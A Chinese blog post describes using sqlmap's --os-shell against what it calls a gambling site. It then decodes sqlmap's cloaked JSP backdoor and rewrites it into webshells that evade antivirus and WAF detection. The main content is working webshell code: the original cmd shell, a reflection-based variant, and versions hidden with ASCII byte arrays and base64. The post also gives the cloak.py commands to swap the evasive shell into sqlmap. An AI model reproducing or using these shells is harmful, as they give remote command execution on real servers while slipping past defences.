最近在整理学习的时候,碰到了一个菠菜,sqlmap直接注进去了。
sqlmap -r xx.txt --os-shell
>os-shell:
直接拿到shell了,也能执行命令;第二次就不行了,直接报错。。。怀疑是给我杀掉了。
有了上一次蚁剑流量分析过宝塔WAF的小技巧,所以写下 这一篇文章,学习一下。
分析shell
因为那个菠菜使用jsp语言写的,所以这里我们也用一个jsp的shell进行分析。
=ÒÂá2nduÌŒ¡d0ÂÔ
õÜ”=YïR$ú×_~±™Ø#tÈ
5ßãÀ¾Üc¨= iÏÔA°·^:CS–ö°5i@´±Ûƺ<è/*¸òU%æP4 $™K‰Ú®Û")cúJ7
‡‚½ŒÓSvÚz lB-'‹•Ùbœg‰W>AóqØ7Yê²Ýõ:ŠÙMI0³ÁÈ®‘TÙÍ<–1Cá–;DÚ:mK(×Þ {Hàsxd™Ÿùq×…lo¿ŒQß•Åâw8¬ÿ’Õ¸›Ï‹§'‘a4Ž£ÍóÌCnõ,0£ó1}wMýÔÆM6dßç“ÑB4Ï/Îxg_¦æFÆ%Á›óáÅI|ÒJ>ù”|µÍfrËœT,OÄâ¥
®P¿¯T¶›Gó?²O9ðBñSáRºC
Ò
ö‹ö·2}^Þ5<$iãnÀ¨ô“s³Ú¤¾Ñ^9"wí…£°ˆqW†‡–W
这tm啥啊。。。。。。
在sqlmap文件夹中,sqlmapproject-sqlmap-e435d1e\lib\core\common.py有这样一部分,可以看到decloakToTemp函数接收一个filename参数并调用decloak函数进行解码,返回该文件解码后的内容,并且在函数说明部分给出了详细的调用方式:
然后看一下sqlmapproject-sqlmap-e435d1e\extra\cloak\cloak.py
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
try:
data = zlib.decompress(xor(data, KEY))
except Exception as ex:
print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
sys.exit(1)
finally:
f.close()
return data
里面详细写了sqlmap shell的解密、加密方式
解密流程大致为:使用定义的KEY调用xor函数进行异或,随后使用zlib.decompress进行解码。
并且,人家在main函数中还给出了利用方法。
try:
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
parser.add_option('-i', dest='inputFile', help='Input file')
parser.add_option('-o', dest='outputFile', help='Output file')
(args, _) = parser.parse_args()
接下来按照main函数所说的方法,对原先的backdoor.jsp_进行解码
python3 cloak.py -i E:\sqlmapproject-sqlmap-e435d1e\data\shell\backdoors\backdoor.jsp_ -o E:\sqlmapproject-sqlmap-e435d1e\data\shell\backdoors\backdoor.jsp -d
解码得到了真正的shell
<%@ page import="java.io.*" %>
<%
Process p;
String s, cmd, os;
String [] params;
cmd = request.getParameter("cmd");
os = System.getProperty("os.name");
if (os.indexOf("Windows") > -1) {
params = new String [] {"cmd.exe", "/c", cmd};
}
else {
params = new String [] {"/bin/sh", "-c", cmd};
}
out.print("<pre>");
if (cmd != null) {
p = Runtime.getRuntime().exec(params);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
while ((s = stdError.readLine()) != null) {
System.out.println(s);
}
}
out.print("</pre>");
%>
通过源码发现就是一个cmd马,那么下面我们就可以将其中具体执行cmd命令的代码替换为我们的免杀的代码或者其他的功能,这里我使用一个类反射的cmd马进行替换。
对JSP shell进行免杀
java代码核心命令就是这条Runtime.getRuntime().exec(params);
这样的shell很容易被识别到,可以利用java类反射隐藏掉exec()
进行免杀。
package test;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws Exception {
String op = "";
Class rt = Class.forName("java.lang.Runtime"); //加载Runtime类
Method gr = rt.getMethod("getRuntime"); //获取getRuntime方法
Method ex = rt.getMethod("exec", String.class); //获取exec方法
Process e = (Process) ex.invoke(gr.invoke(null), "cmd /c whoami"); //invoke 传参调用
//以下代码是获取输出结果
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);
}
}
接下来写成jsp马,再利用ASCII编码绕过
<%@ "text/html;charset=UTF-8" language="java" %>
<%@ import="java.io.InputStream" %>
<%@ import="java.lang.reflect.Method" %>
<%@ import="java.util.Scanner" %>
out.print("</pre>");
if(request.getParameter("cmd") != null){
String str = request.getParameter("cmd");
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
Class> c = Class.forName(rt);
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
out.println(result);
}
out.print("");
%>
base64编码也行
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
if(request.getParameter("cmd")!=null){
BASE64Decoder decoder = new BASE64Decoder();
Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
Process e = (Process)
rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
Object[]{}), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
但是,要想在sqlmap中正常使用-os--shell
功能,替换的shell接收参数必须和原先的一致,所以利用原先的python脚本进行编码,并替换原文件。
python cloak.py -i backdoor0.jsp -o backdoor.jsp_
就可以实现Sqlmap的shell免杀。